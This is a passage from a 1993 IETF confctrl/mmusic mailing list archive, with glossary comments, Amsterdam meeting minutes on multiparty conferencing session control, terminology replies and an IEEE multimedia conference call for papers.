also of how much incoming data one individual can process.  There will
only ever be a small number of senders, whether that is a function of
etiquette (as with the MBONE tools), underlying topology, or through
the establishment of restrictive session policies.

7. Attribute Summary

[THIS NEEDS WORK: Would like to list the metrics used for comparison.

	Session establishment: implicit or explicit
	Communication among participants (control and media): 
		symmetric: none, 1-to-1, n-to-n
		asymmetric: via moderator or moderators: 1-to-n, m-to-n
	Style of communication: passive vs active information sharing
	Session maintenance: global view, approximate view
	Participant identity: just sender, sender knows receivers, all
	Message/Data requirements: unreliable vs reliable
	Accessibility: private/public
	Changeability: static/dynamic
	Session style: impromptu/scheduled
]


8. References

[1]  Confctrl Minutes, Proceedings 25th Internet Engineering Task Force,
     Washington, D.C. (Nov 1992).

[2]  Confctrl Minutes, Proceedings 26th Internet Engineering Task Force,
     Columbus, OH (Mar 1993).

[3]  Crowcroft, J., message to confctrl mailing list (Apr 1993).
 
[4]  Cogger, D., confctrl MBONE telemeeting (May 1993).

[5]  Szyperski, C., Ventre, G., "A Characterization of Multi-Party
     Interactive Multimedia Applications", High Performance Network
     Research Report (Feb 1993).

[6]  Schooler, E.M., "The Impact of Scaling on a Multimedia Connection
     Architecture", to appear in the Journal of Multimedia Systems (1993); 
     a shorter version appeared in the 3rd International Workshop on Network
     and Operating System Support for Digital Audio and Video, San Diego, CA
     (Nov 1992).

[7]  vat, LBL visual audio tool

[8]  nv, Xerox PARC network video tool

[9]  Schulzrinne, H., "Voice Communication Across the Internet: A
     Network Voice Terminal", Department of Electrical and Computer
     Engineering, Department of Computer Science, University of
     Massachusetts, Amherst, MA (July 1992).

[10] Turletti, T., "H.261 Software Codec for Videoconferencing over
     the Internet", Research Report 1834, Institut National de Recherche
     en Informatique et en Automatique, Sophia-Antipolis, France (Jan
     1993).



From gong@concert.net  Wed Jul  7 19:29:24 1993
Received: from jazz.concert.net by venera.isi.edu (5.65c/5.61+local-12)
	id <AA12816>; Wed, 7 Jul 1993 20:29:29 -0700
Received: by jazz.concert.net (5.59/tas-concert/8-12-92)
	id AA09557; Wed, 7 Jul 93 23:29:25 -0400
From: Fengmin Gong <gong@concert.net>
Message-Id: <9307080329.AA09557@jazz.concert.net>
Subject: Re: Fwd: latest glossary
To: abel@thumper.bellcore.com (Abel Weinrib)
Date: Wed, 7 Jul 1993 23:29:24 -0400 (EDT)
Cc: confctrl, gong@concert.net (Fengmin Gong)
In-Reply-To: <0gCl9iW0M2ULBBcHIZ@thumper.bellcore.com> from "Abel Weinrib" at Jul 7, 93 02:14:06 pm
X-Mailer: ELM [version 2.4 PL20]
Content-Type: text
Content-Length: 6090      

I would very much like to come to the WG meeting for discussion but...
Here are some of my comments.  I will be tuning in to Channel 2 then.

Fengmin

>
>This document, prepared by Lakshman <lakshman@ms.uky.edu> is a list of
>terms and their definitions for the mmusic working group.  Many of the
>definitions were extracted from other documents and from discussions
>held during WG sessions.
>
>The main naming dilemma centers around what to
>call the user-and-media association; a conference, conversation, 
>collaboration, session, aggregated session?!  Then, what to call a
>media session: media session, transport session, data session, or
>simply session?
>
>Please comment with any strong preferences and/or opinions.  We plan to
>discuss this document during the mmusic IETF sessions.
>
>
>
>	 Glossary for Multiparty Multimedia Session Control WG
>	 -----------------------------------------------------
>
>
>
>Aggregated Session
>	A logical abstraction that may consist of one or more related
>	media sessions, among multiple in real time.
>
>Aggregated Session Control 
>	The management and coordination of multiple sessions,
>	and their multiple users in multiple media.  The term
>	session is used for shorthand.
>
>Conference
>	For the purposes of mmusic, a multiparty multimedia telemeeting;
>	an aggregrated session.
>
>Collaboration
>	A more cooperative form of a conference.
>
>Conference Scalability
>	The ability of a conference to scale up in size.  Two metrics 
>	of size include large numbers of remote participants and widely 
>	dispersed participants.
>
I think these two dimensions are definitely very appropriate for scalability.
But I also feel scalability in conferencing quality (e.g., video quality)
with available network BW etc is also an important property of a "conference
system", maybe it should be part of conference scalability here.

>Room-to-Room Conferencing
>	Conferencing that involves groups of people convening in rooms, 
>	then conferencing between rooms.
>
>Desktop Conferencing
>	Conferencing from one's desktop computer.  This has a personal
>	and more spontaneous flavor than room-to-room conferencing.
>
>Conference Session Manager
>	An entity which resides at each user's end system to coordinate
>	the orchestration, maintenance and interaction of sessions.  

Aggregated session was defined earlier but not conference session.  I
assume conference session=aggregated session=conference=session(for short), 
if so we need to make it explicit in the glossary.

>
>Distributed Control
>	A control model where control functions are distributed
>	among conferees.
>

Conferees and conference site may not have a 1-1 relationship in the
case of a room-to-room conference, do we want to use conference site
here instead of conferee?

>Centralized Control
>	A control model where control functions are the responsibility
>	of a centralized agent.
>
>Tight-Control Session
>	A session style in which state is actively shared
>	among participants and that aims to keep state consistent among 
>	participants.  
>
>Loose-Control Session
>	A session style in which state information is passively shared
>	among participants.  In the extreme, no state sharing is performed.
> 
>Media Agent
>	An entity that handles media-specific functions such
>	as encoding, compression and transport packetization
>	that are associated with a session.
>	Media in conferences might include audio, video, graphics or 
>	text.
>
>Media Session
>	A transport session (point-to-point or multipoint) in a single 
>	medium.
>
>Media Configuration Management
>	The management of media descriptions, including
>	the static end-system descriptions (hardware and software 
>	capabilities), as well as the negotiated
>	per-session preferences.
>
>Conferee
>	A party involved in a conference.  An endpoint for session control
>	communication.
>
It seems more consistent with traditional conference concept to interpret
a conferee as individual participants, but this interepretation will
not be consistent with the interpretation as an endpoint for session
control communiation.  I prefer the individual interpretation and then
define an endpoint to be a conference site (typically associated with
the machine where session control agent resides).

>Initiator
>	A participant who initiates a conference.
>
>Chair
>	A participant who is designated as having more authority than
>	other members of the conference.  For example, the chair might 
>	decide the policy on late joins, media floor control, 
>	interaction style, etc.
>
>Receiver
>	A conferee who receives session data. 
>
>Sender
>	A conferee who transmits/sends session data.
>
Similarly, conference site seems to be a more approapriate term than conferee.
According to early definition, an unqualified "session" means an aggregated
session, then this receiver and sender definition fails to differentiate,
e.g., between a site that only receives video but sends and receives audio, and
a site that only receives audio and video.  It seems that receiver and sender
need to be explicit  with media.

>Passive Participant
>	A conferee who only acts as a receiver.
>
>Active Participant
>	A conferee who acts both as a sender and receiver.
>
>Session Relay
>	An entity that relays data between participants, by acting
>	as a go-between. 
>
Should session relay be also media bound?

>Floor Control
>	Coordinated control over who may or may not send and/or receive data.
>
>Connectivity Style
>	The interconnectivity of conferees (e.g., 1-to-N, N-to-N,
>	M-to-N) in either the control or data realm.
>
>Access Control
>	The accessibility of a session to potential participants.
>	
>Conference Directory Service
>	A directory that provides user network addresses, conference
>	IDs and addresses, the conference begin time, conference topic,
>	etc.

and media encodings used.

>
>Conference Scheduling
>	The advertisement of a conference's start time with a session 
>	directory service.
>
>Interaction Policies
>	The model and rules used by participants to interact with one 
>	another in a conference. 
>
>
>

Cheers!


From mankin@itd.nrl.navy.mil  Mon Jul 19 23:42:59 1993
Received: from itd.nrl.navy.mil by venera.isi.edu (5.65c/5.61+local-12)
	id <AA09937>; Tue, 20 Jul 1993 00:43:02 -0700
Received: by itd.nrl.navy.mil (4.1/SMI-4.1)
	id AA16787; Tue, 20 Jul 93 03:42:59 EDT
Date: Tue, 20 Jul 93 03:42:59 EDT
From: mankin@itd.nrl.navy.mil (Allison Mankin)
Message-Id: <9307200742.AA16787@itd.nrl.navy.mil>
To: confctrl
Subject: Good meeting AND good broadcast

Abel and  Eve,

The following appeared on the MBONE mailing  list.   It seems that
some care for the remote audience really does pay off.

From coppins@arch.adelaide.edu.au  Tue Jul 13 05:33:06 1993
Return-Path: <coppins@arch.adelaide.edu.au>
Received: from venera.isi.edu by itd.nrl.navy.mil (4.1/SMI-4.1)
	id AA01374; Tue, 13 Jul 93 05:33:06 EDT
Received: from escher.arch.adelaide.edu.au by venera.isi.edu (5.65c/5.61+local-12)
	id <AA22454>; Tue, 13 Jul 1993 01:51:07 -0700
Received: from odin.arch.adelaide.edu.au by escher.arch.adelaide.edu.au with SMTP (5.64+1.3.1+0.50/UA-5.26)
	id AA18106; Tue, 13 Jul 1993 18:20:44 +0930
Received: by odin.arch.adelaide.edu.au (5.64+1.3.1+0.50/UA-5.12)
	id AA03297; Tue, 13 Jul 1993 18:20:35 +0930
From: Simon Coppins <coppins@arch.adelaide.edu.au>
Message-Id: <9307130850.AA03297@odin.arch.adelaide.edu.au>
Subject: Use of mics.
To: mbone@ISI.EDU
Date: Tue, 13 Jul 93 18:20:33 CST
X-Mailer: ELM [version 2.4dev PL17]


It's interesting to see how differnet the use of mics is between the
mmusic and pip working groups. 

I`ve had no problem following the discussion in the mmusic group. The
chairs have good radio mics and questions from the audience are either
asked at the side mics or repeated by the chairs. Pip however seems to
have a load of timid, mic-shy weenies who can't be heard in netland.
This makes the proceedings very hard to follow.


Simon.
-- 
|Simon Coppins                  Phone: +61 8 303 5978
|Computer Systems Administrator Fax:   +61 8 303 4377
|Department of Architecture     Email: coppins@arch.adelaide.edu.au
|University of Adelaide         Postal:S.A. 5005  Australia


Expires: Aug 12, 1993


From schooler  Thu Jul 29 05:24:03 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.61+local-12)
	id <AA25054>; Thu, 29 Jul 1993 12:24:12 -0700
Date: Thu, 29 Jul 1993 12:24:03 -0700
From: schooler
Posted-Date: Thu, 29 Jul 1993 12:24:03 -0700
Message-Id: <199307291924.AA10710@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA10710>; Thu, 29 Jul 1993 12:24:03 -0700
To: confctrl
Subject: MMusic Minutes from Amsterdam IETF
Cc: schooler, abel@thumper.bellcore.com

Here are the latest notes from the meetings in Amsterdam.
As we still have a day to make modifications, your comments on 
the accuracy of these minutes are encouraged.  

Thanks,
Eve and Abel

~~~~~~~~~~~~~

These notes were prepared by Eve Schooler, schooler@isi.edu, and
accompany the slides, venera.isi.edu:confctrl/minutes/slides.7.93.ps 
(there are six slides to a page).



      Multiparty Multimedia Session Control WG (mmusic)
                Minutes from the 27th IETF
                  Amsterdam, Netherlands
                   July 12 and 13, 1993

               Abel Weinrib, abel@bellcore.com
               Eve Schooler, schooler@isi.edu



The MMusic working group met officially for the first time in
Amsterdam.  We held two sessions that were multicast over the MBONE.
The first meeting was used to set the context and to discuss the
progress made since the BOFs held at the last IETF.  During the second
session, we began to lay the groundwork for a strawman mmusic
protocol.

1. First Session: Context and Progress.

After review of the modified charter, we discussed proposals for a set
of common terminology, an end-system architecture, the mmusic protocol
requirements, implementation considerations and conference styles.  To
narrow the scope of the discussion, we emphasized the need to think in 
terms of a "version 0" negotiation protocol.

1.1 Terminology, Framework, Requirements.

Highlights from Lakshman's (lakshman@ms.uky.edu) proposed session control
glossary were presented (slides 4-8).  The key points were:

 - the differentiation between a "session", an association of members 
   for control, and a "conference", a logical abstraction among
   multiple participants for multimedia real-time communication that
   consists not only of a control session, but also of related media
   associations and conference policies.

 - the identification of the main system components for an end-system 
   teleconferencing architecture as being the conference session manager, 
   media agents and a resource manager.

Since "media" is an overloaded word, we are open to suggestions for a
better term than "media association", which is currently defined as
the encapsulation of the transport (point-to-point or multipoint) in a
single medium.  

Some clarification was needed for the term "reflector participant", a
participant who neither generates nor terminates data but acts as a
go-between.  It is one of several participant types that arise out of
policy choices.  Julio Escobar commented that it is somewhat of a
misnomer since a reflector implies the "reflecting back" of data, and a
reflector participant may be used in a variety of fashions (e.g.,
it may translate or combine data).  A reflector might be considered
a service access point.

In a change since last time, we emphasized that the conference session
manager is not necessarily the central system component, as shown in
the slide "Framework 1", but that we think of it more as in the
"Framework 2" slide.  However, to a large extent the relationship among
the various components is immaterial and implementation-specific.  For
instance, a 3rd approach, where the conference session manager is part
of one monolithic application, is equally valid.  The WG focus is
somewhat separate from the specifics of the framework choices, since we
are primarily interested in the interaction between the mmusic
negotiation protocol and the conference session manager.

Since the last meeting, we refined the session control protocol
requirements (slide 11).  They encompass several functions:  those for
distributed session management, dynamic membership management, session
policy management, and domain specific tasks (e.g., media associations
and configurations).  These groups of functions reflect the management
of a "conference" itself, and the management of its control, policy and
media elements.

In addition, we need to distinguish between the policies that are
carried by the protocol and those understood by the protocol.  Does the
protocol simply carry policy in the same way that it simply carries
media information, as a payload or "bag of bits"?  While session policy
is not meant as an optional characteristic, since it is what defines
the session type, policy enforcement is probably outside the scope of
the protocol.  However, policy enforcement will impact the degree to
which we can provide session privacy and security.

The idea of advance reservation was a recurring topic, and one which
needs further scrutiny.  We expect the protocol to provide hooks for
pre-scheduling sessions, though the conference session manager has no
direct affect on reservations in the network, nor reservation
strategies (optimistic vs pessimistic).  Ambiguities remain about the
definition of resources, since they occur at a number of levels (e.g.,
people, rooms, hardware devices, workstation capabilities, network
bandwidth), and about how different policies will cause different
outcomes for resource scheduling and contention resolution.
One suggestion was to create a proper session MIB to assist with
end-system management of configuration, capabilities and policies.  

There was also speculation about the interaction between the session
manager and media agents, for instance when the transport for a
media agent fails but the control path is still functioning.  Although
the end-system architecture is somewhat outside the venue of the mmusic
protocol, we expect that some system component implementations will
enable up-calls from (down-calls to) media agents and that are conveyed
to (from) the session manager either directly or indirectly.  The
session manager (media agents) may issue modifications as a consequence.  
Similar mechanisms are needed for a session chair to be able to turn 
on/off media agent data flows.

1.2 Implementation for the Internet.

What are the building blocks needed for implementation and operation of
a mmusic protocol in the Internet (slide 12)?  Perhaps the biggest
questions were:

 - what transport platform is needed to support a general purpose
   negotiation service? 
 - to what degree do we need reliable multicast?
 - how reliable does reliable have to be?  

A critical, near term action item is to find an individual or a
collection of individuals who can advise us on our options and
recommend a solution.  It was noted that INRIA is planning to make a
reliable multicast solution available to the public shortly.
Regardless of the approach taken, it was agreed that the interface to
mmusic should be designed so that the requirements for the underlying
service are clearly stated and that the actual choice may vary.
Different transport implementations might be differentiated on their
port number.  The requisite comment was made that the goals of
reliable delivery and scalability of sessions conflict with each
other.

In addition, it was suggested that we investigate the universal
identifier naming infrastructure already used in the worldwide web
(WWW).  Another correlation was noted between synchronous and
asynchronous group negotiation, for instance for mailing list
coordination.  Yet the timing characteristics for conferee interactions
differ by an order of magnitude between real-time conference session
control and mailing list management.

1.3 Conversation Styles.

Pre-IETF, we posted to the mailing list some musings on the
relationship between conversation styles and their requirements on the
underlying communication infrastructure.  It was agreed that a number
of other dimensions, besides size, need to be considered to describe
the list of session types more completely.  The question was raised
about whether it is easier to move from tight to loose or loose to
tight schemes when devising an approach, since the complicated
scenarios occur somewhere in the middle of the continuum (slide 13).

There also was debate about the existence of an upper bound on the
number of conferees generating media (actively participating).  The
united-nations model and the distributed simulation model are good
counterexamples to an upper bound.  A criticism about the original
assumption is that we need to be careful not to introduce artifacts of
the capabilities of the current generations of tools into our
interaction model.  Although a preliminary document on the range of
conversation styles has been drafted, further details are needed.


2. Second Session: Outline for a Protocol

The foundations for the strawman protocol were discussed (slides 14-20)
and included proposals for the definition of session state and for
naming conference components.  After thorough descriptions were given
of the main protocol assumptions, we delved into the basic message
types, examples of how they might be used and default session
policies.  A lively discussion ensued that helped us compile
a list of outstanding issues and action items (slides 22 and 23).

2.1 Session State and Naming.

There were no strong opinions about whether or not naming should be
opaque or structured; in other words whether or not names should be
based on arbitrary identifiers, or structured around common identifiers
already in use, such as login ids, host addresses, port numbers and
timestamps.  In any event, the identifiers must be unique.  The
inclusion of a sequence number was felt to be overkill.  There are no
side effects if the session_id is based on the initiator's member_id
and the initiator drops out of the session; the incorporation of the
initiator's member_id is simply a technique to make the session_id
unique.  Aliases were deemed useful from an application standpoint, but
not necessary for the operation of the session control protocol
itself.  The idea behind the aliases were to provide RTCP-like support,
though there are other textual pieces of information that RTCP carries
in addition to conferee names and the session name.

However, there are broader privacy concerns if we tie the member_id and
session_id to identifiable naming structures.  Also, should naming be
any different if the conference session manager acts on behalf of a an
individual user, conference room of participants, reflector participant
(the proxy), or an automated service (the virtual user)?

We also need to think about naming for mobility, both at session setup
(to forward requests when you have multiple addresses) and during
long-lived sessions (to allow users to move around), for example, were
individuals equipped with locator badges.  Can we leverage off of the
location services for naming transparency being designed in the
mobile-ip WG?

2.2 Protocol Assumptions. 

Questions about looser styles of conferencing came up.  How does
someone simply tune in in a loose control fashion, given that we're
thinking about requiring the participation of at least one member for a
session to persist?  One idea was to create a virtual member to "own"
the session.  This virtual member would not only establish the session,
but also take responsibility to terminate it.  The idea of a virtual
member also could be applied to pre-scheduling sessions (again, this is
different from reserving the network or other resources), since the
virtual member would establish the session ahead of time and only
participate from a control standpoint.  Another suggestion was to view
this as allowing empty membership lists, since the virtual member is
not an active member.

2.3 Basic Message Types.

The basic message types do not in and of themselves provide a
negotiation service; they are meant as building blocks.  Whether or not
they are delivered reliably is a separate issue.  We proposed a
three-phase commit handshake (Propose-Reply-Announce) for proposals
needing negotiations.  Suggestions about the messages that are under
advisement:

- Add an optional reason field to the Reply message: to make informed 
  decisions about initiating another round of proposals after receiving
  a reject.  Useful for handling error messages when not in correct
  state to receive Proposal.  More generally, this optional payload
  field could be added to both Reply and Propose messages:

  + in the Reply message: to allow a reject or an accept response to 
    include hints that could assist with renegotiation.  This results in
    four types of Replies.
  + in a Propose message: to provide enough information up front to 
    reduce the number of negotiated rounds.  

- Differentiate between an Announce message that:

  + has been agreed on versus one that a proposer has decided alone.
  + includes the delta versus entire state of the conference. 
    If state is large, one may want to send the hash of the state.  
    Does an Announce send state, operations, or both?

- How to handle/avoid a questionable Announce message?
  To cut down on false Announces, one option is to multicast all messages 
  to all members.  

Examples were provided of how the messages might be used, from simple
scenarios (using an Announce to leave a session or to produce
keep-alive messages) to session initiation or modification.  We assumed
that a proposal may be comprised of multiple operations.  Although many
hooks were discussed, version 0 may defer using some of them.

A key open issue is if the protocol requires serializability, i.e.,
that all proposals are acted on in the same order at all conference
session managers involved in a session.  We maintained that a
sufficient measure of tight control can be enforced without
serializability, and without requiring absolute global state
consistency.  To reduce conflicts, multicast Propose messages to all
others, even if not involved in the accept phase.

2.4 Policies
 
Slide 20 introduced the main policies we expect to associate with a
session.  Underlined options represent the default choices, should no
policy be chosen.  We clarified that members are always allowed to
leave a session, regardless of the termination policy.  In fact there
was a motion to replace explicit session termination by implicit
termination when the membership count drops to zero, or after some
duration beyond when the membership goes to zero (this would avoid odd
behavior caused by the non-serializability of proposals).  On a similar
note, we may want to support a policy where one member is able to
delete all other members in order to terminate a session.

We discussed the rigidity of session policies and the need to determine
if different session policies conflict with one another, especially
with regard to "static" sessions (e.g., unchangeable sessions in terms
of theirs members, policies and media components).

The concern was that if there are communication failures that prohibit
approval for a session change (e.g., when the policy is that ALL must
approve), that this would result in a deadlock, a malfunctioning
session that does not terminate, or a scenario where resources are
never returned.  Clearly, in filling in the protocol details we will
need to differentiate between the receipt of a reject reply versus no
reply at all.  We will also need to state how policies will be handled
(possibly become more relaxed) in the event of a communication
failure.  The communication failure may be due to an intermittent lapse
in connectivity, to a person leaving their workstation unattended and
not being able to immediately reply to a query, or to the member having
left the conference at a network failure point and consequently being
in the wrong state.  It was felt that a conference session manager should
behave like TCP reset after a failure and retain no previous state.

Even though we proposed an initially small set of policy choices, the
richness and completeness of this set needs further scrutiny.  To
decide where version 0 falls on the session style continuum, we solicit
input on suggested policies and their default values.  Additionally, to
what level of granularity should we institute policies?  Do we need to
have global policies?  Per operation policies?  Per initiator
policies?  Will policies be shared with media agents and other system
components?

A good deal of discussion centered around policies about who may make
proposals, since non-members may be restricted from initiating
proposals, and in some cases not all members are proposers.  These
policies apply to changes in general, and are separate from who is
needed to approve proposals (e.g., coordinate a vote or approve an
initiation request).  The solution proposed was that a non-member find
a sponsor for a proposal, ensuring the notion of trusted membership.
However, is this approach too stringent?  Because of the premium on
being a member versus a non-member, there is also interest in making
assurances that one person isn't impersonating another.

More specifically, the issue boiled down to the question of joining a
session.  How does one join?  Who does one contact?  Again, the idea is
to assign a "doorman" or "doormen".  For version 0, to support an open
session in the sd style, a doorman could simply say yes all the time.
Similarly, is there a more straightforward approach out there?

2.5 Outstanding Issues.

How does floor control interact with session control?  Is the notion of
floor control its own protocol?  With its own messages?  We are looking
to other projects, such as MiCE, to advise us on this.

Could the negotiation protocol be used for other purposes, such as a
calendar scheduler, booking service, or even to measure agreement over
topics during an ongoing conference?  We are interested in someone
studying the range of related applications for the mmusic protocol.


3. Attendees.

George Abe		abe@infonet.com
Chris Adie		C.J.Adie@ed.ac.uk
Axel Belinfante		Axel.Belinfante@cs.utwente.nl
Lou Berger		lberger@bbn.com
Jim Binkley		jrb@cs.pdx.edu
Carsten Bormann		cabo@cs.tu-berlin.de
Bob Braden		braden@isi.edu
Stefan Braun		smb@cs.tu-berlin.de
Mike Brescia		brescia@bbn.com
Stuart Clayman		sclayman@cs.ucl.ac.uk
Les Clyne		L.Clyne@jnt.ac.uk
Walid Daboous		dabbous@sophia.inria.fr
Steve DeJarnett		steve@ibmpa.awdpa.ibm.com
Ed Ellesson		ellesson@vnet.ibm.com
Hans Eriksson		hans@sics.se
Julio Escobar		jescobar@bbn.com
Deborah Estrin		estrin@usc.edu
Osten Franberg		evaokf@eva.ericssg1.se
Robert Franberg		nosse@proxxi.uf.se
David Ginsburg		ginsb@us-es.sel.de
Ronald Greve		rgreve@cs.utwente.nl
Mark Handley		m.handley@cs.ucl.ac.uk
Geert Heijenk		heijenk@cs.utwente.nl
Rune Hjelsvald		Rune.Hjelsvold@blt.unit.no
Frank Hoffmann		hoffmann@dhdibmA.bitnet
Xinli Hou		xinli@cs.utwente.nl
Sascha Ignjatovic	sascha@veda.co.at
Phil Irey		pirey@relay.nswc.navy.mil
John T. Johnston	john@berlioz.nsc.com
Thomas Kaeppner		kaeppner@dhdibm1.bitnet
Peter Kirstein		Kirstein@cs.ucl.ac.uk
Jim Knowles		jknowles@binkey.arc.nasa.gov
John Larson		JLarson@parc.xerox.com
Mark Laubach		laubach@hpl.hp.com
Allison Mankin		mankin@cmf.nrl.navy.mil
Dave Marlow		dmarlow@relay.nswc.navy.mil
Shahzad Merchant	merchant@erg.sri.com
Donald Merritt		don@arl.army.mil
Topi Miettinen		t@atm.tnt.fi
Paul G. Milazzo		milazzo@bbn.com
Ronny Nilsen		Ronny.Nilsen@usit.uio.no
Zbigniew Opalka		zopalka@agile.com
Jorg Ott		jo@cs.tu-berlin.de
Mark Prior		mrp@itd.adelaide.edu.au
Mark Pullen		mpullen@cs.gmu.edu
Eve Schooler		schooler@isi.edu
Henk Sennema		sennema@sara.nl
Velu Sinha		avsinha@attmail.com
Ken Smith		kensmith@bnr.ca
Kamlesh Tewani		samir@arch2.att.com
Claudio Topolcic	topolcic@cnri.reston.va.us
Antoine Trannoy		trannoy@crs4.it
Thierry Turletti	turletti@sophia.inria.fr
Guido van Rossum	guido@cwi.nl
Dono Van-Mierop		Dono_Van_Mierop@3mail.3com.com
Mario Vecchi		mpv@bellcore.com
Abel Weinrib		abel@bellcore.com

From touch  Tue Aug 10 04:01:03 1993
Received: from btn.isi.edu by venera.isi.edu (5.65c/5.61+local-12)
	id <AA12953>; Tue, 10 Aug 1993 11:01:04 -0700
Date: Tue, 10 Aug 93 11:01:03 -0700
From: touch
Posted-Date: Tue, 10 Aug 93 11:01:03 -0700
Message-Id: <9308101801.AA15502@btn.isi.edu>
Received: by btn.isi.edu (NX5.67c/4.0.3-4)
	id <AA15502>; Tue, 10 Aug 93 11:01:03 -0700
Received: by NeXT.Mailer (1.87.1)
Received: by NeXT Mailer (1.87.1)
To: confctrl
Subject: Re: MMusic Minutes from Amsterdam IETF
Cc: touch



> These notes were prepared by Eve Schooler, schooler@isi.edu, and
>      Multiparty Multimedia Session Control WG (mmusic)
>                Minutes from the 27th IETF
>                  Amsterdam, Netherlands
>                   July 12 and 13, 1993

>               Abel Weinrib, abel@bellcore.com
>               Eve Schooler, schooler@isi.edu

>1. First Session: Context and Progress.
>1.1 Terminology, Framework, Requirements.

>Since "media" is an overloaded word, we are open to suggestions for a
>better term than "media association", which is currently defined as
>the encapsulation of the transport (point-to-point or multipoint) in a
>single medium.  


I'd like to suggest that single-medium transport is an artifact of some  
current technology*. Counterexamples include PictureTel CODEC's, which permit  
in-band audio with video, and instrumentation (visualization of audio going  
to an oscilloscope). I prefer "transport association" to "media association"  
- it reflects the grouping of access to a transport stream, but doesn't  
require single-media streams.

(* - including Bellcore's Touring Machine, which I have experience porting to  
the NeXT and the IETF-loose-style conferencing, in which nevot/vat/etc and  
nv/pvp are considered distinct).

	conference = temporal and control association of resources 

			(people and/or equipment)
		consists of a session and a set of transport associations
	session = control component of a conference
	transport association = data component of a conference 

	
A while back I posted a note that summarized the previous suggestion of 

	control
	media assoc
	policy
	
and replaced it with
	control
	data (transport)
	meta-control (control of control, member control, etc.)
	
"Policy" is an overloaded term that can mean transport policy, drop policy,  
etc. It's more than control of control, because it's also member control,  
transfer of control, etc. If data is first-order information, and control is  
second order, then it appears we're stuffing all higher orders into "policy".  
I'd like to suggest "metacontrol" instead, or something equivalent.

Just my 2 cents.

Thanks.

Joe Touch
touch@isi.edu




From buford@cs.uml.edu  Wed Aug 18 13:28:04 1993
Received: from cs.uml.edu by venera.isi.edu (5.65c/5.61+local-12)
	id <AA12877>; Wed, 18 Aug 1993 14:28:08 -0700
Received: by cs.uml.edu id AA09901
  (5.65c+/IDA-1.4.4 for confctrl@isi.edu); Wed, 18 Aug 1993 17:28:05 -0400
From: "John F. Buford" <buford@cs.uml.edu>
Message-Id: <199308182128.AA09901@cs.uml.edu>
Subject: Preliminary CFP: 1993 Intl Conf on MM Computing and Systems
To: confctrl, rem-conf@es.net
Date: Wed, 18 Aug 1993 17:28:04 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 4540      


                  PRELIMINARY CALL FOR PAPERS

 1994 International Conference on Multimedia Computing and Systems
         
                       Sponsored by
   The IEEE Computer Society's Task Force on Multimedia Computing

                         May 1994
                Boston, Massachusetts, USA

           PLEASE NOTE  CHANGE OF DATE AND LOCATION
                    FROM PREVIOUS ANNOUNCMENTS

Conference Chair:  Laszlo A. Belady, Mitsubishi Electric Research, USA 
Program Co-Chairs: Scott M. Stevens, Carnegie Mellon University, USA and
                   Ralf Steinmetz, IBM European Network Center, Germany
 
Multimedia systems are expected to result in the convergence of consumer
electronics, computers and communications. Their applications will
transform how people work, learn and play.

This conference, sponsored by the IEEE Computer Society and its Task Force on
Multimedia Computing, offers a world class forum for practicing engineers and
researchers to report on and exchange the latest ideas in this exciting field. 
Immediately preceding the conference, tutorials will provide opportunities 
for interaction with experts in the related fields. Through this call for 
papers, the organizers seek contributions of high quality papers and
proposals for panels or tutorials.

The field of multimedia is still evolving, hence the scope of the 
conference is broad.  We anticipate papers covering many aspects of the 
transmission, processing, and use of multimedia information.
We encourage submissions which describe work--finished or in progress, 
practical development or theory--on the following or related subjects:

   Systems
      Network architecture
      Hardware architecture
      Operating systems
      Distributed systems
      Database and information systems
 
   Techniques
      Video compression and processing
      Real time scheduling
      Human-computer interaction
      Programming paradigms
      Content-based retrieval
 
   Applications
      Capture and creation of content
      Synthetic information and video generation
      Modeling and simulation
      Human learning
      Mobile computing
      Group collaboration
      Video dialtone


PAPERS AND PANEL PROPOSALS

Authors are requested to submit six copies of the manuscript
(maximum of 20 pages) including abstract and keywords by Nov. 15, 1993.
Final papers are restricted to eight IEEE model pages.  The use of
prototypes and demonstration video for final presentations is encouraged.
Each paper must be accompanied by a submission letter that indicates
the most relevant one or two conference areas and primary author contact
information including: postal address, email address, telephone and 
Fax numbers.

Important Dates:

	Nov. 15, 1993:		All submissions due
	Jan. 15, 1994:		Notification of acceptance
	Feb. 15, 1994:		Final manuscripts due

Submit all papers and panel proposals to:

 Scott M. Stevens
 Software Engineering Institute
 Carnegie Mellon University
 Pittsburgh, PA  15313
 USA
 email: sms@sei.cmu.edu
 Phone: 412 268-7796
 Fax  : 412 268-5758

TUTORIALS

In addition to papers, proposals for one and two day tutorials are
solicited in any of the conference areas. Proposals should include
the topic area, a brief summary of the content, a schedule, and
information about the instructors.

Include the following information for the instructor who will handle
conference correspondence: postal address, email address, telephone 
and fax numbers.  Proposals should be submitted by November 15.
1993.  Responses and instructors' kits will be sent by Jan 15, 1994. 
Final course notes should be submitted by Feb 15.

Submit proposals for tutorials to:

 Erich J. Neuhold
 GMD-IPSI / Technische Hochschule Darmstadt
 Dolivostr. 15
 P.O. Box 10 43 26
 6100 Darmstadt
 Germany
 email: neuhold@darmstadt.gmd.de
 Phone: +49 6151 869-802
 Fax  : +49 6151 869-818


ORGANIZING AND PROGRAM COMMITTEES

Conference Chair: 	Laszlo A. Belady, Mitsubishi Electric Research, USA
Program Co-Chairs: 	Scott M. Stevens, Carnegie Mellon University, USA and
                   	Ralf Steinmetz, IBM European Network Center, Germany
Tutorial Chair: 	Erich Neuhold, T.H. Darmstadt, Germany
Publicity Chair: 	John Buford, UMass Lowell, USA
Exhibits Chair: 	William Lambert, Horizon Research, USA
Publication Chair: 	Tibor Vais, Compuserve, USA 
Reg. & Finance Chair:	Joseph Boykin, GTE Laboratories, USA
Local Arr. Chair:	Michael Bove, MIT Media Lab, USA



         SPONSORED BY IEEE COMPUTER SOCIETY (final approval pending)


From @atina.ar,@dcfcen.edu.ar:cjbclau@zorzal.edu.ar  Wed Sep 15 17:27:54 1993
Received: from atina.ar by venera.isi.edu (5.65c/5.61+local-13)
	id <AA24616>; Thu, 16 Sep 1993 06:08:08 -0700
Received: from dcfcen.edu.ar by atina.ar with UUCP
	(5.59/Vxxiii) id AA14686; Thu, 16 Sep 93 10:07:15 ARG
Received: by dcfcen.edu.ar (/\=-/\ Smail3.1.18.1 #18.8)
	id <m0odA8B-0001iXC@dcfcen.edu.ar>; Thu, 16 Sep 93 00:35 ARG
Received: by zorzal.edu.ar (/\==/\ Smail3.1.25.1 #25.3)
	id <m0od6GQ-0002LEC@zorzal.edu.ar>; Wed, 15 Sep 93 20:27 ARG
